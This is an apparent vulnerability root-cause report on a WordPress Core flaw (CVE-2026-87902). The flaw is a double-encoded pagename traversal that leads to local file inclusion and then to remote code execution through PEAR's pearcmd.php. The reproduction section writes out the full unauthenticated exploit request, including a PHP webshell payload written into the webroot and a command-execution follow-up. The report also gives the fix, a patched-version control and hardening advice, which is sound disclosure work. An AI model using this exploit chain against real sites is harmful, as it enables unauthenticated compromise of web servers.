# RCA Report — CVE-2026-87902 / GHSA-7hp8-65ch-5whp

## Summary

WordPress Core's `get_page_template()` (wp-includes/template.php) builds a candidate
template filename from the `pagename` query variable after applying `urldecode()` to it,
without the `validate_file()` guard that is applied to the sibling `$template` candidate
three lines above. Because percent-encoded octets survive WordPress's query sanitization
(`sanitize_title_for_query()` preserves `%xx` sequences) and the `pagename` query variable
is settable by unauthenticated visitors, a double-url-encoded traversal payload is decoded
inside `get_page_template()` and assembled as `page-{decoded}.php`. `locate_template()`
then resolves and includes a readable local `.php` file outside the active theme
directories. When the server also ships a useful local PHP target — PEAR's
`pearcmd.php` with `register_argc_argv=On` (the default in the official PHP/WordPress
Docker images) — the file inclusion becomes remote code execution via the well-known
`pearcmd.php` `config-create` webshell-write transition.

## Impact

- Package/component: WordPress Core (wordpress-develop), `wp-includes/template.php`,
  `get_page_template()` / `locate_template()`.
- Affected versions: 4.7.0 through 7.1.1 (all branches); fixed in 7.1.2 with backports
  (7.0.6, 6.9.9, 6.8.10, 6.7.9, ... down to 4.7.37).
- Risk: Critical (CVSS 4.0 9.2, CWE-98). Unauthenticated local PHP file inclusion,
  escalable to remote code execution when (1) the active theme has a top-level directory
  whose name starts with `page-` (e.g. Twenty Twelve's `page-templates/`) and
  (2) a readable local `.php` target such as `/usr/local/lib/php/pearcmd.php` exists.
- Consequences demonstrated: arbitrary OS command execution as `www-data`
  (`uid=33(www-data)`) on the web server, i.e. full site compromise.

## Impact Parity

- Disclosed/claimed maximum impact: unauthenticated remote code execution
  (claim: `api_remote` surface, `code_execution` impact).
- Reproduced impact from this run: unauthenticated remote code execution through the
  real Apache/HTTP front door of WordPress 7.1.1 — an attacker-chosen OS command
  (`echo PRUVA-CMD-<token>;id`) executed as `uid=33(www-data)` via a webshell that the
  include-chain wrote into the webroot, plus the underlying local file inclusion
  primitive proven independently with an out-of-theme marker file.
- Parity: **full**.
- Not demonstrated: nothing beyond the claimed impact (no persistence/privilege
  escalation beyond the web user, which is out of scope for the claim).

## Root Cause

In WordPress ≤ 7.1.1, `get_page_template()` contains:

```php
if ( $template && 0 === validate_file( $template ) ) {   // validated
    $templates[] = $template;
}
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {              // NOT validated (the bug)
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
```

Reachability chain (all unauthenticated, plain-permalink front-controller request):

1. `pagename` is a public query var; `?pagename=...` lands in `$wp->query_vars`
   after exactly one URL decode by PHP.
2. Double-encoding keeps octets alive: `sanitize_title_for_query()` preserves
   `%xx` sequences, so the query var still contains `%2e%2e%2f...` after
   `WP_Query` processing.
3. The 404 trap is avoided with `page_id`: in `WP_Query::get_posts()`
   (class-wp-query.php ≈ line 2276) a valid `page_id` **overwrites** the `WHERE`
   clause (`$where = " AND ID = <page_id>"`), so the query returns the real page,
   `is_page` survives `WP::handle_404()`, and the template loader reaches
   `is_page() → get_page_template()`.
4. `get_page_template()` applies its own second `urldecode()`, turning
   `templates%2f%2e%2e%2f...` into `templates/../../../../usr/local/lib/php/pearcmd`,
   and prepends `page-` / appends `.php`. The leading `page-` is why the traversal
   must start inside a theme directory that literally starts with `page-`
   (Twenty Twelve's `page-templates/`).
5. `locate_template()` sees
   `file_exists(<theme>/page-templates/../../../../usr/local/lib/php/pearcmd.php) == true`
   and returns the path; template-loader.php `include`s it.
6. With `register_argc_argv=On` (default in the official PHP Docker images),
   `$_SERVER['argv']` is built from the raw query string split on `+`, so
   `&+config-create+/<php-payload>+/var/www/html/<shell>.php` makes the included
   `pearcmd.php` write an attacker-controlled PHP config file into the webroot.
   A second unauthenticated GET to that file executes arbitrary commands.

Fix (7.1.2, diff verified against the official release): adds
`0 === validate_file( $pagename_decoded )` to the pagename branch and introduces
`_wp_is_template_path_allowed()`, a containment check (realpath must stay inside the
stylesheet/template directories or `wp-includes/theme-compat`) applied to every
candidate resolved by `locate_template()`.

Fix reference: wordpress-develop `7.1.1...7.1.2` diff, files
`src/wp-includes/template.php`, `src/wp-includes/version.php`
(GHSA-7hp8-65ch-5whp, reporter Robert Ressl).

## Reproduction Steps

1. `bundle/repro/reproduction_steps.sh` (self-contained; only needs Docker + network).
2. The script:
   - pulls `wordpress:7.1.1-apache` and `mysql:8.0`,
   - builds a fixed image by replacing `/usr/src/wordpress` with the official
     `wordpress-7.1.2.tar.gz` (keeping `wp-config-docker.php`),
   - records precondition evidence (WP versions, `register_argc_argv=On`,
     `pearcmd.php` presence, absence/presence of the patch hunks),
   - starts MySQL + both WordPress instances (vulnerable on :18081, fixed on :18082),
     performs the real web installer flow over HTTP, installs and activates the legacy
     Twenty Twelve theme (advisory-named precondition, top-level `page-templates/`),
   - places a readable marker PHP at `/opt/pruva_lfi_marker.php` (out-of-theme LFI
     proof target),
   - twice attacks the vulnerable instance with an unauthenticated
     `GET /?page_id=2&pagename=templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-create+/<?=system(current($_GET))?>+/var/www/html/<shell>.php`,
     then fetches the written shell with `?c=echo+PRUVA-CMD-<token>;id`,
   - twice replays the identical attack against the fixed instance as a negative
     control,
   - writes `bundle/repro/runtime_manifest.json` with sha256-bound proof artifacts.
3. Expected evidence: both vulnerable attempts return the per-attempt marker
   `PRUVA-CMD-<token>` and `uid=33(www-data)`; both fixed attempts show no marker and
   no shell (HTTP 404 for the shell, no LFI marker in the traversal response).

## Evidence

- Preconditions/patch diff evidence: `bundle/logs/reproduction_preconditions.log`
  (vuln: `$wp_version = '7.1.1'`, `register_argc_argv=1`, pearcmd.php present,
  0 occurrences of `validate_file( $pagename_decoded )`; fixed: 7.1.2 with the guard
  and `_wp_is_template_path_allowed`).
- Run log: `bundle/logs/reproduction_steps.log`
  (`[vuln attempt 1] ... RCE=CONFIRMED LFI=CONFIRMED`, `2/2`, fixed `2/2 blocked`).
- Per-attack request/response pairs: `bundle/logs/vuln_attempt{1,2}_{request,response}.txt`
  (response ends with `Successfully created default configuration file
  "/var/www/html/pruva_rce_vuln*_*.php"`).
- Command-execution output: `bundle/logs/vuln_attempt{1,2}_command.txt` containing
  `PRUVA-CMD-<token>` and `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.
- LFI primitive: `bundle/logs/vuln_attempt{1,2}_lfi_response.txt` begins with
  `PRUVA-LFI-MARKER-87902` (out-of-theme `/opt/pruva_lfi_marker.php` included).
- Negative control: `bundle/logs/fixed_attempt{1,2}_*.txt` — no marker, shell GET 404.
- Environment: Apache 2.4.68 / PHP 8.3.33 (mod_php, official `wordpress:7.1.1-apache`
  image, digest recorded in runtime_manifest.json), MySQL 8.0, Twenty Twelve 4.9,
  plain permalinks, default options.
- Structured runtime evidence: `bundle/repro/runtime_manifest.json`.

## Recommendations / Next Steps

- Upgrade to WordPress 7.1.2 (or the corresponding backport: 7.0.6, 6.9.9, 6.8.10,
  6.7.9, 6.6.9, ... 4.7.37).
- The fix approach is correct and sufficient: validate the decoded pagename with
  `validate_file()` and enforce theme-containment (`_wp_is_template_path_allowed()`)
  for every template path `locate_template()` resolves.
- Defense-in-depth: set `register_argc_argv=Off` for web SAPIs (php.ini-production
  default) to neutralize the pearcmd.php transition; remove PEAR from web images;
  avoid activating classic themes with top-level `page-*` directories on unpatched
  installs.
- Testing: regression test that `page-%2e%2e%2f...`-style pagenames (single- and
  double-encoded) never resolve outside the theme for both classic and block themes.

## Additional Notes

- Idempotency: the script tears down and recreates its Docker network/containers on
  every run, reuses cached downloads (`/pruva/project-cache/packages`), rebuilds the
  fixed image only if missing/stale, and was executed twice consecutively with
  identical `CONFIRMED` results (exit 0).
- Implementation details discovered empirically: PHP builds `$_SERVER['argv']` from
  the raw query string split on `+` and mangles single quotes, so the webshell payload
  is quote-free (`<?=system(current($_GET))?>`); `curl -g` is required because the
  payload otherwise triggers curl URL globbing.
- The vulnerable path requires no authentication, no plugins, and default options;
  the only non-default elements are the documented preconditions (a `page-*` top-level
  theme directory — provided by the advisory-named Twenty Twelve theme — and a readable
  local `.php` target, provided by the stock official PHP/WordPress image).
